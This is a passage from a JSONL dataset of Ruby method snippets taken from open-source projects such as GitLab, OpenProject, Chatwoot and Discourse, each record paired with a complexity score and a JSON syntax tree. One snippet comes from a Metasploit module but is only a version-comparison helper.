(:value_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_index\"]}]},{\"type\":\"str\",\"children\":[\"))\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_operator\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"equal_to\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EXISTS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_model_relation_query\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_query\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_operator\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"not_equal_to\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOT EXISTS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_model_relation_query\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_query\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_operator\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"is_present\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EXISTS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_model_relation_query\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_operator\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"is_not_present\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOT EXISTS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_model_relation_query\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_operator\"]}]}]}]},null]}]}]}","id":"1d9c0f53-4396-4195-abdc-cc5062907aeb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/commit/cherry_pick_spec.rb","start_line":113,"raw_source":"def open_dropdown\n    find(dropdown_selector).click\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"open_dropdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"dropdown_selector\"]}]},\"click\"]}]}","id":"0c836108-8059-4967-bc85-bc41e475d560"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/captain/tools/update_priority_tool.rb","start_line":25,"raw_source":"def normalize_priority(priority)\n    return nil if priority == 'nil' || priority.blank?\n\n    priority.downcase\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_priority\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"priority\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"==\",{\"type\":\"str\",\"children\":[\"nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"downcase\"]}]}]}","id":"2cb1e848-3cf5-4681-9717-f21ed49df0cd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/scheduling/scheduling_mode_spec.rb","start_line":128,"raw_source":"def expect_dates(work_package, start_date, due_date)\n    work_package.reload\n    expect(work_package.start_date).to eql Date.parse(start_date)\n    expect(work_package.due_date).to eql Date.parse(due_date)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_dates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"due_date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"start_date\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"due_date\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"due_date\"]}]}]}]}]}]}","id":"c0fbcb00-d9be-4ef9-8ed7-3e2c49d638dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/git.rb","start_line":203,"raw_source":"def checkout_path\n          Pathname(OpenProject::Configuration.scm_local_checkout_path)\n            .join(@identifier)\n            .expand_path\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"scm_local_checkout_path\"]}]},\"join\",{\"type\":\"ivar\",\"children\":[\"@identifier\"]}]},\"expand_path\"]}]}","id":"03a24ebd-c18e-4272-aa6e-07845815fa73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/gitlab/tokens/manage_expiry_task.rb","start_line":101,"raw_source":"def extend_expiration_date\n          old_date = prompt_expiration_date_selection\n\n          return unless old_date\n\n          prompt = TTY::Prompt.new\n\n          num_days = ::Gitlab::CurrentSettings.max_personal_access_token_lifetime || 365\n          new_date = old_date + num_days.days\n          new_date = prompt.ask(\"What would you like the new expiration date to be?\", default: new_date)\n\n          new_date = Date.parse(new_date) unless new_date.is_a?(Date)\n\n          puts \"\"\n          puts \"Old expiration date: #{old_date}\"\n          puts \"New expiration date: #{new_date}\"\n          confirmed = prompt.yes?(\n            \"WARNING: This will now update #{token_count(old_date)} token(s). Are you sure?\",\n            default: false\n          )\n\n          if confirmed\n            puts \"Updating tokens...\"\n            update_tokens_with_expiration(old_date, new_date)\n          else\n            puts \"Aborting!\"\n          end\n        rescue Date::Error\n          puts \"Invalid date, aborting...\"\n        end","complexity_score":36.03,"ast_json":"{\"type\":\"def\",\"children\":[\"extend_expiration_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_date\",{\"type\":\"send\",\"children\":[null,\"prompt_expiration_date_selection\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_date\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"Prompt\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"num_days\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"max_personal_access_token_lifetime\"]},{\"type\":\"int\",\"children\":[365]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_days\"]},\"days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"ask\",{\"type\":\"str\",\"children\":[\"What would you like the new expiration date to be?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"new_date\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_date\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Date\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"new_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"new_date\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Old expiration date: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_date\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New expiration date: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_date\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confirmed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"yes?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING: This will now update \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_count\",{\"type\":\"lvar\",\"children\":[\"old_date\"]}]}]},{\"type\":\"str\",\"children\":[\" token(s). Are you sure?\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirmed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Updating tokens...\"]}]},{\"type\":\"send\",\"children\":[null,\"update_tokens_with_expiration\",{\"type\":\"lvar\",\"children\":[\"old_date\"]},{\"type\":\"lvar\",\"children\":[\"new_date\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Aborting!\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Invalid date, aborting...\"]}]}]},null]}]}","id":"13063c4a-63eb-417c-b720-5544d0ec94be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/single_change_access.rb","start_line":54,"raw_source":"def ref_level_checks\n        Gitlab::Checks::PushCheck.new(self).validate!\n        Gitlab::Checks::BranchCheck.new(self).validate!\n        Gitlab::Checks::TagCheck.new(self).validate!\n        Gitlab::Checks::Security::PolicyCheck.new(self).validate!\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ref_level_checks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Checks\"]},\"PushCheck\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"validate!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Checks\"]},\"BranchCheck\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"validate!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Checks\"]},\"TagCheck\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"validate!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Checks\"]},\"Security\"]},\"PolicyCheck\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"validate!\"]}]}]}","id":"1a3379e6-c9e0-4f6b-9972-4bc4d2d726dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/config/initializers/enforce_isolation_level.rb","start_line":37,"raw_source":"def new_connection\n      connection = super\n      ConnectionIsolationLevel.set_connection_isolation_level connection\n      connection\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionIsolationLevel\"]},\"set_connection_isolation_level\",{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]}","id":"542dd630-0176-40f7-b5a3-1c36c0c0debe"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_skip_systemd.rb","start_line":10,"raw_source":"def setup\n    skip_unless :linux\n    skip_if :jruby\n\n    super\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"linux\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_if\",{\"type\":\"sym\",\"children\":[\"jruby\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"300a0b48-7677-4c91-8276-d46c967a2e8f"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/discourse/steps/user_emails.rb","start_line":24,"raw_source":"def process_item(item)\n      IntermediateDB::UserEmail.create(\n        email: item[:email],\n        primary: item[:primary],\n        user_id: item[:user_id],\n        created_at: item[:created_at],\n      )\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntermediateDB\"]},\"UserEmail\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"primary\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}]}","id":"62c05f25-1d91-4c23-adcf-3ea7c2225d22"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/assistant_responses_controller.rb","start_line":37,"raw_source":"def apply_filters(base_query)\n    base_query = base_query.where(assistant_id: permitted_params[:assistant_id]) if permitted_params[:assistant_id].present?\n\n    if permitted_params[:document_id].present?\n      base_query = base_query.where(\n        documentable_id: permitted_params[:document_id],\n        documentable_type: 'Captain::Document'\n      )\n    end\n\n    base_query = base_query.where(status: permitted_params[:status]) if permitted_params[:status].present?\n\n    if permitted_params[:search].present?\n      search_term = \"%#{permitted_params[:search]}%\"\n      base_query = base_query.where(\n        'question ILIKE :search OR answer ILIKE :search',\n        search: search_term\n      )\n    end\n\n    base_query\n  end","complexity_score":39.6,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assistant_id\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assistant_id\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"document_id\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"documentable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"document_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"documentable_type\"]},{\"type\":\"str\",\"children\":[\"Captain::Document\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"where\",{\"type\":\"str\",\"children\":[\"question ILIKE :search OR answer ILIKE :search\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"lvar\",\"children\":[\"search_term\"]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"base_query\"]}]}]}","id":"8fdf6a87-5c55-4a3e-9c4b-ccf5cc09c10f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/sudo_password_bypass.rb","start_line":261,"raw_source":"def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])\n    vn_parts = parse_vn(vn)\n    ranges.any? do |range|\n      min_parts = parse_vn(range[0])\n      max_parts = parse_vn(range[1])\n      vn_parts.all? do |part|\n        min = min_parts.shift\n        max = max_parts.shift\n        (min.nil? or (not part.nil? and part >= min)) and\n          (part.nil? or (not max.nil? and part <= max))\n      end\n    end\n  end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"vn_bt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vn\"]},{\"type\":\"arg\",\"children\":[\"ranges\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vn_parts\",{\"type\":\"send\",\"children\":[null,\"parse_vn\",{\"type\":\"lvar\",\"children\":[\"vn\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min_parts\",{\"type\":\"send\",\"children\":[null,\"parse_vn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_parts\",{\"type\":\"send\",\"children\":[null,\"parse_vn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vn_parts\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_parts\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"max\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_parts\"]},\"shift\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"min\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"max\"]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"f90dd798-95f2-44b6-99f2-5d57a004a7dc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb","start_line":16,"raw_source":"def will_cache?(options, view)\n        options[:cached] && view.controller.respond_to?(:perform_caching) && view.controller.perform_caching\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"will_cache?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"view\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"controller\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"perform_caching\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"controller\"]},\"perform_caching\"]}]}]}","id":"ab5e9b10-9cef-48f0-a337-d33214da9b56"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_helper/semantic_categorizer.rb","start_line":5,"raw_source":"def initialize(user, opts)\n        @user = user\n        @text = opts[:text]\n        @vector = DiscourseAi::Embeddings::Vector.instance\n        @schema = DiscourseAi::Embeddings::Schema.for(Topic)\n        @topic_id = opts[:topic_id]\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@vector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Vector\"]},\"instance\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schema\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Schema\"]},\"for\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]}","id":"bc76bd6a-6403-444b-8b65-70c3dc4cd5d2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status_edit.rb","start_line":63,"raw_source":"def with_poll?\n    poll_options.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_poll?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"poll_options\"]},\"present?\"]}]}","id":"b8310487-75fe-44c3-a12b-93a8e04339e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":23,"raw_source":"def self.permitted_actions\n    @permitted_actions ||= gitlab_extensions.flat_map do |klass|\n      klass.public_instance_methods(false) - EXCLUDED_ACTIONS\n    end.to_set\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permitted_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@permitted_actions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_extensions\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"public_instance_methods\",{\"type\":\"false\",\"children\":[]}]},\"-\",{\"type\":\"const\",\"children\":[null,\"EXCLUDED_ACTIONS\"]}]}]},\"to_set\"]}]}]}","id":"029d9403-8d14-4da9-9b83-b3a71d9a7595"}
